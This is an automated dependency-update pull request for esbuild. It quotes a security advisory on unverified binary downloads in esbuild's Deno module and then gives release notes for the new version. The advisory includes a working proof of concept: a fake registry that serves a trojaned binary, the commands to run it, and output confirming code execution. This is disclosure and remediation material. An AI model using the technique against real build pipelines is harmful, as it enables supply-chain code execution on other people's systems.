Update dependency esbuild to ^0.28.0 [SECURITY] - autoclosed by renovate[bot] · Pull Request #174 · jgoz/esbuild-plugins

renovate · 2026-06-14T13:25:09Z

This PR contains the following updates:

Package	Change	Age	Confidence
esbuild	`^0.25.11` → `^0.28.0`

Withdrawn Advisory: esbuild: Missing binary integrity verification in Deno module enables remote code execution via NPM_CONFIG_REGISTRY

GHSA-gv7w-rqvm-qjhr

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Summary

The esbuild Deno module (lib/deno/mod.ts) downloads native binary executables from an npm registry and writes them to disk with executable permissions (0o755) without performing any integrity verification (e.g., SHA-256 hash check). The Node.js equivalent (lib/npm/node-install.ts) includes a robust binaryIntegrityCheck() function that verifies SHA-256 hashes against hardcoded expected values from package.json, but this protection was never implemented for the Deno distribution.

When the NPM_CONFIG_REGISTRY environment variable is set, the Deno module constructs a download URL using this attacker-influenced value and fetches a native binary from it. Because no integrity check is performed, an attacker who can control this environment variable (common in CI/CD pipelines, shared development environments, or corporate networks with custom npm registries) can supply a malicious binary that will be downloaded, written to disk, and executed with the privileges of the Deno process, achieving full remote code execution.

Details

Vulnerable code path — lib/deno/mod.ts lines 62–82:

async function installFromNPM(name: string, subpath: string): Promise<string> {
  const { finalPath, finalDir } = getCachePath(name)
  try { await Deno.stat(finalPath); return finalPath } catch (e) {}

  const npmRegistry = Deno.env.get("NPM_CONFIG_REGISTRY") || "https://registry.npmjs.org"  // line 70: attacker-controlled
  const url = `${npmRegistry}/${name}/-/${name.replace("@&#8203;esbuild/", "")}-${version}.tgz`     // line 71: URL uses attacker base
  const buffer = await fetch(url).then(r => r.arrayBuffer())                                  // line 72: download
  const executable = extractFileFromTarGzip(new Uint8Array(buffer), subpath)                   // line 73: extract

  await Deno.mkdir(finalDir, { recursive: true, mode: 0o700 })
  await Deno.writeFile(finalPath, executable, { mode: 0o755 })                                 // line 80: write + chmod
  return finalPath                                                                              // line 81: no hash check
}

Missing protection — The Node.js equivalent at lib/npm/node-install.ts lines 228–234:

function binaryIntegrityCheck(pkg: string, subpath: string, bytes: Uint8Array): void {
  const hash = crypto.createHash('sha256').update(bytes).digest('hex')
  const key = `${pkg}/${subpath}`
  const expected = packageJSON['esbuild.binaryHashes'][key]
  if (!expected) throw new Error(`Missing hash for "${key}"`)
  if (hash !== expected) throw new Error(...)
}

This function is called in both the installUsingNPM() path (line 131) and the downloadDirectlyFromNPM() path (line 243), but no equivalent exists in the Deno module. Searching the entire git history confirms binaryIntegrityCheck, binaryHashes, sha256, and hash have never appeared in lib/deno/mod.ts.

Execution flow after download: The binary returned by installFromNPM() is passed to spawn() at line 291 of the same file:

const child = spawn(binPath, { args: [`--service=${version}`], ... })

Attack vector: The NPM_CONFIG_REGISTRY environment variable is a standard npm configuration variable widely used in enterprise CI/CD pipelines to point to internal artifact repositories (Artifactory, Nexus, Verdaccio, etc.). An attacker who can inject or modify this variable in a build environment (e.g., via CI config injection, shared environment, or compromised registry) can redirect the download to a server they control and serve a trojaned native binary.

PoC

Prerequisites: Deno runtime, Node.js (for fake registry)

Step 1: Create a fake npm registry that serves a malicious binary:

// fake-registry.js
const http = require('http');
const zlib = require('zlib');
http.createServer((req, res) => {
  const fakeBin = '#!/bin/sh\necho PWNED > /tmp/deno-esbuild-rce-proof.txt\necho fake-esbuild-0.28.0\n';
  // ... build tar.gz with fake binary as package/bin/esbuild ...
  res.writeHead(200, {'Content-Length': gz.length});
  res.end(gz);
}).listen(19876, () => console.log('READY'));

Step 2: Run the PoC with NPM_CONFIG_REGISTRY pointing to the fake server:

// poc.ts — mimics lib/deno/mod.ts installFromNPM code path
const npmRegistry = Deno.env.get("NPM_CONFIG_REGISTRY") || "https://registry.npmjs.org";
const url = `${npmRegistry}/@&#8203;esbuild/linux-x64/-/linux-x64-0.28.0.tgz`;
const buffer = new Uint8Array(await (await fetch(url)).arrayBuffer());
// ... gzip decompress + tar extraction (same as extractFileFromTarGzip) ...
await Deno.writeFile("/tmp/downloaded-binary", executable, { mode: 0o755 });
// *** NO integrity check performed ***
const cmd = new Deno.Command("/tmp/downloaded-binary");
await cmd.output(); // RCE: executes attacker-controlled binary

Step 3: Run:

node fake-registry.js &
NPM_CONFIG_REGISTRY="http://127.0.0.1:19876" deno run --allow-all poc.ts
cat /tmp/deno-esbuild-rce-proof.txt  # Output: PWNED

Observed output in this environment:

Download URL: http://127.0.0.1:19876/@&#8203;esbuild/linux-x64/-/linux-x64-0.28.0.tgz
Binary written to: /tmp/deno-poc/downloaded-binary
Binary content: #!/bin/sh
echo PWNED > /tmp/deno-esbuild-rce-proof.txt
echo fake-esbuild-0.28.0

Executing downloaded binary...
stdout: fake-esbuild-0.28.0

*** RCE CONFIRMED ***
Marker file content: PWNED

Build-local verification — using the actual built deno/mod.js:

The esbuild Deno module was built from source (node scripts/esbuild.js ./esbuild --deno) producing deno/mod.js. The fake registry test was then re-run using the actual module via import * as esbuild from "file:///path/to/deno/mod.js", triggering the real installFromNPM() → installFromNPM() code path:

[TEST] esbuild Deno module loaded
[TEST] esbuild version: 0.28.0

[TEST] *** RCE VIA ACTUAL MODULE CONFIRMED ***
[TEST] Marker file content: VULN-CONFIRMED
[TEST] The actual built deno/mod.js downloaded and executed
[TEST] a malicious binary from the fake registry WITHOUT
[TEST] performing any SHA-256 integrity verification.

The malicious binary was cached at ~/.cache/esbuild/bin/@esbuild-linux-x64@0.28.0 with contents:


#!/bin/sh
echo "VULN-CONFIRMED" > /tmp/esbuild-deno-verify-rce.txt
echo "0.28.0"

Built-in Deno module (deno/mod.js) confirmed to contain NPM_CONFIG_REGISTRY usage (line 1900) and zero references to binaryIntegrityCheck, binaryHashes, sha256, or crypto.createHash.

Negative/control case — Node.js rejects the same fake binary:

Fake binary SHA-256: d85234b9bac94fcda135d112f0c23d9c31bbb14a5502a37e743a3cf2a3750fa1
Expected hash:       aafacdf135322bf47c882a4ea4db33d0375583f5b9c3fd2d4e12258e470568be
Hashes match: false
=> Node.js path REJECTS the fake binary (hash mismatch)
=> Deno path ACCEPTS it without any check

Impact

An attacker who can control the NPM_CONFIG_REGISTRY environment variable in a Deno project using esbuild can achieve arbitrary code execution with the privileges of the Deno process. This is particularly relevant in:

CI/CD pipelines where NPM_CONFIG_REGISTRY is commonly set to point to internal artifact repositories
Shared development environments where environment variables may be inherited from parent processes
Corporate networks where npm registry mirrors are configured via this environment variable

The attacker does not need to compromise the npm registry itself — only the environment variable or network path between the Deno process and the registry.

Suggested remediation

Add SHA-256 integrity verification to the Deno module, mirroring the existing binaryIntegrityCheck() function from lib/npm/node-install.ts:

// In lib/deno/mod.ts, after extracting the binary:
const hashBuffer = await crypto.subtle.digest("SHA-256", executable);
const hash = Array.from(new Uint8Array(hashBuffer)).map(b => b.toString(16).padStart(2, '0')).join('');
const key = `${name}/${subpath}`;
const expected = EXPECTED_HASHES[key]; // Import from a shared hash manifest
if (hash !== expected) throw new Error(`Binary integrity check failed for "${key}"`);

Validate the NPM_CONFIG_REGISTRY URL to ensure it uses HTTPS (or at minimum warn about HTTP):

const npmRegistry = Deno.env.get("NPM_CONFIG_REGISTRY") || "https://registry.npmjs.org";
if (npmRegistry.startsWith("http://")) {
  console.warn(`[esbuild] Warning: NPM_CONFIG_REGISTRY uses insecure HTTP`);
}

Add ESBUILD_BINARY_PATH validation in the Deno module, mirroring the isValidBinaryPath() check from lib/npm/node-platform.ts.

Regression test suggestion: Add a test that verifies the Deno download path rejects a binary with a mismatched SHA-256 hash.

Severity

CVSS Score: 8.1 / 10 (High)
Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Release Notes

evanw/esbuild (esbuild)

`v0.28.1`

Compare Source

Disallow \\ in local development server HTTP requests (GHSA-g7r4-m6w7-qqqr)

This release fixes a security issue where HTTP requests to esbuild's local development server could traverse outside of the serve directory on Windows using a \\ backslash character. It happened due to the use of Go's path.Clean() function, which only handles Unix-style / characters. HTTP requests with paths containing \\ are no longer allowed.

Thanks to @dellalibera for reporting this issue.
Add integrity checks to the Deno API (GHSA-gv7w-rqvm-qjhr)

The previous release of esbuild added integrity checks to esbuild's npm install script. This release also adds integrity checks to esbuild's Deno install script. Now esbuild's Deno API will also fail with an error if the downloaded esbuild binary contains something other than the expected content.

Note that esbuild's Deno API installs from registry.npmjs.org by default, but allows the NPM_CONFIG_REGISTRY environment variable to override this with a custom package registry. This change means that the esbuild executable served by NPM_CONFIG_REGISTRY must now match the expected content.

Thanks to @sondt99 for reporting this issue.
Avoid inlining using and await using declarations (#4482)

Previously esbuild's minifier sometimes incorrectly inlined using and await using declarations into subsequent uses of that declaration, which then fails to dispose of the resource correctly. This bug happened because inlining was done for let and const declarations by avoiding doing it for var declarations, which no longer worked when more declaration types were added. Here's an example:
```
// Original code
{
  using x = new Resource()
  x.activate()
}

// Old output (with --minify)
new Resource().activate();

// New output (with --minify)
{using e=new Resource;e.activate()}
```
Fix module evaluation when an error is thrown (#4461, #4467)

If an error is thrown during module evaluation, esbuild previously didn't preserve the state of the module for subsequent module references. This was observable if import() or require() is used to import a module multiple times. The thrown error is supposed to be thrown by every call to import() or require(), not just the first. With this release, esbuild will now throw the same error every time you call import() or require() on a module that throws during its evaluation.
Fix some edge cases around the new operator (#4477)

Previously esbuild incorrectly printed certain edge cases involving complex expressions inside the target of a new expression (specifically an optional chain and/or a tagged template literal). The generated code for the new target was not correctly wrapped with parentheses, and either contained a syntax error or had different semantics. These edge cases have been fixed so that they now correctly wrap the new target in parentheses. Here is an example of some affected code:
```
// Original code
new (foo()`bar`)()
new (foo()?.bar)()

// Old output
new foo()`bar`();
new (foo())?.bar();

// New output
new (foo())`bar`();
new (foo()?.bar)();
```
Fix renaming of nested var declarations (#4471)

This release fixes a bug where var declarations in nested scopes that are hoisted up to module scope were not correctly being renamed during bundling. That could previously lead to name collisions when minification was disabled, which could potentially cause a behavior change. The bug has been fixed so that these hoisted declarations are now considered to be module-level symbols during the name collision avoidance pass.
Emit var instead of const for certain TypeScript-only constructs for ES5 (#4448)

While esbuild doesn't generally support converting const to var for ES5 due to nested scoping rules (which is currently a build-time error), esbuild previously incorrectly converted TypeScript-only import assignment constructs into a const declaration even when targeting ES5. With this release, esbuild will now use var for this case instead:
```
// Original code
import x = require('y')

// Old output (with --target=es5)
const x = require("y");

// New output (with --target=es5)
var x = require("y");
```

Fix a minification regression with CSS media queries (#4315)

The previous release introduced support for parsing media queries which unintentionally introduced a regression with the removal of duplicate media rules during minification. Specifically the grammar for @media <media-type> and <media-condition-without-or> { ... } was missing an equality check for the <media-condition-without-or> part, so rules with different suffix clauses in this position would incorrectly compare equal and be deduplicated. This release fixes the regression.
Update the list of known JavaScript globals (#4310)

This release updates esbuild's internal list of known JavaScript globals. These are globals that are known to not have side-effects when the property is accessed. For example, accessing the global Array property is considered to be side-effect free but accessing the global scrollY property can trigger a layout, which is a side-effect. This is used by esbuild's tree-shaking to safely remove unused code that is known to be side-effect free. This update adds the following global properties:

From ES2017:
- Atomics
- SharedArrayBuffer
From ES2020:
- BigInt64Array
- BigUint64Array
From ES2021:
- FinalizationRegistry
- WeakRef
From ES2025:
- Float16Array
- Iterator
Note that this does not indicate that constructing any of these objects is side-effect free, just that accessing the identifier is side-effect free. For example, this now allows esbuild to tree-shake classes that extend from Iterator:
```
// This can now be tree-shaken by esbuild:
class ExampleIterator extends Iterator {}
```
Add support for the new @view-transition CSS rule (#4313)

With this release, esbuild now has improved support for pretty-printing and minifying the new @view-transition rule (which esbuild was previously unaware of):
```
/* Original code */
@&#8203;view-transition {
  navigation: auto;
  types: check;
}

/* Old output */
@&#8203;view-transition { navigation: auto; types: check; }

/* New output */
@&#8203;view-transition {
  navigation: auto;
  types: check;
}
```
The new view transition feature provides a mechanism for creating animated transitions between documents in a multi-page app. You can read more about view transition rules here.

This change was contributed by @yisibl.
Trim CSS rules that will never match

The CSS minifier will now remove rules whose selectors contain :is() and :where() as those selectors will never match. These selectors can currently be automatically generated by esbuild when you give esbuild nonsensical input such as the following:
```
/* Original code */
div:before {
  color: green;
  &.foo {
    color: red;
  }
}

/* Old output (with --supported:nesting=false --minify) */
div:before{color:green}:is().foo{color:red}

/* New output (with --supported:nesting=false --minify) */
div:before{color:green}
```
This input is nonsensical because CSS nesting is (unfortunately) not supported inside of pseudo-elements such as :before. Currently esbuild generates a rule containing :is() in this case when you tell esbuild to transform nested CSS into non-nested CSS. I think it's reasonable to do that as it sort of helps explain what's going on (or at least indicates that something is wrong in the output). It shouldn't be present in minified code, however, so this release now strips it out.

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}

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